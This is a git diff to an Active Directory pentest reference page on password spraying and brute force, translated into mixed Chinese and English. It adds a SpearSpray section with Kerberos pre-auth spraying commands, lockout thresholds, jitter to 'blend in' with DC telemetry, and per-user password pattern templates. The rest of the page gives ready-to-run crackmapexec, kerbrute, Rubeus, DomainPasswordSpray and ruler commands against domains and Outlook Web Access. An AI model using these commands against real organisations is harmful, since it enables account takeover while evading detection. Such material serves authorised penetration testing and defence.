diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 4bebfd8ab..1f0fd6e55 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -1,19 +1,20 @@ -# 密码喷洒 / 暴力破解 +# Password Spraying / Brute Force {{#include ../../banners/hacktricks-training.md}} -## **密码喷洒** -一旦你找到了几个 **有效的用户名**,你可以尝试最 **常见的密码**(请记住环境的密码策略)与每个发现的用户。\ -默认情况下,**最小** **密码** **长度** 为 **7**。 +## **Password Spraying** -常见用户名的列表也可能有用:[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +一旦你找到几个 **valid usernames**,你可以对每个已发现的用户尝试最常见的 **common passwords**(记住环境的 **password policy**)。\ +按 **default**,**minimum** **password** **length** 为 **7**。 -请注意,如果你尝试多个错误密码,**可能会锁定某些账户**(默认情况下超过 10 次)。 +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -### 获取密码策略 +注意,你 **could lockout some accounts if you try several wrong passwords**(默认超过10次)。 -如果你有一些用户凭据或作为域用户的 shell,你可以 **获取密码策略**: +### 获取 password policy + +如果你有一些用户凭证或以 domain user 身份的 shell,你可以 **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -30,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### 从Linux(或所有)进行利用 +### 从 Linux (或任意平台) 进行利用 - 使用 **crackmapexec:** ```bash @@ -46,7 +47,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(您可以指示尝试次数以避免锁定):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免被锁定):**_ ```bash spray.sh -smb ``` @@ -68,7 +69,7 @@ done ``` #### 从 Windows -- 使用带有暴力模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本: +- 使用带有 brute 模块的 [Rubeus](https://github.com/Zer1t0/Rubeus) 版本: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -76,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)(它可以默认从域中生成用户,并将从域中获取密码策略,并根据该策略限制尝试次数): +- 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (它默认可以从域中生成用户,并会从域获取密码策略并根据该策略限制尝试次数): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -88,9 +89,74 @@ Invoke-SprayEmptyPassword ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Kerberos pre-auth–based spraying 比 SMB/NTLM/LDAP bind attempts 产生的噪声更少,并且更符合 AD lockout policies。SpearSpray 将 LDAP-driven targeting、pattern engine 和 policy awareness(domain policy + PSOs + badPwdCount buffer)结合起来,以更精确且更安全的方式进行喷洒。它还可以在 Neo4j 中标记被攻破的 principals 以便 BloodHound 路径分析。 + +Key ideas: +- LDAP user discovery 支持 paging 和 LDAPS,可选地使用自定义 LDAP filters。 +- Domain lockout policy + PSO-aware filtering,保留一个可配置的尝试缓冲(threshold)以避免锁定用户。 +- Kerberos pre-auth validation 使用快速的 gssapi bindings(在 DCs 上生成 4768/4771,而不是 4625)。 +- 基于 pattern 的每用户密码生成,使用像名字和从每个用户的 pwdLastSet 派生的时间变量。 +- 通过线程、jitter 和 max requests per second 控制吞吐量。 +- 可选的 Neo4j 集成,用于标记已攻破的用户以供 BloodHound 使用。 + +Basic usage and discovery: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +目标定位与模式控制: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +隐蔽性与安全控制: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound 数据丰富: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +模式系统概述 (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Available variables include: +- {name}, {samaccountname} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} + +Operational notes: +- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. +- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. +- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. + +> 提示:SpearSpray’s 默认 LDAP 页面大小为 200;必要时使用 -lps 调整。 + ## Outlook Web Access -有多种工具用于**密码喷洒 Outlook**。 +有多种工具用于 p**assword spraying outlook**。 - 使用 [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - 使用 [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) @@ -98,7 +164,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password - 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)(Powershell) - 使用 [MailSniper](https://github.com/dafthack/MailSniper)(Powershell) -要使用这些工具中的任何一个,您需要一个用户列表和一个密码/一小部分密码列表进行喷洒。 +要使用上述任何工具,您需要一个用户列表以及一个密码或一个小的密码列表用于 password spraying。 ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -117,8 +183,13 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## References +## 参考资料 +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)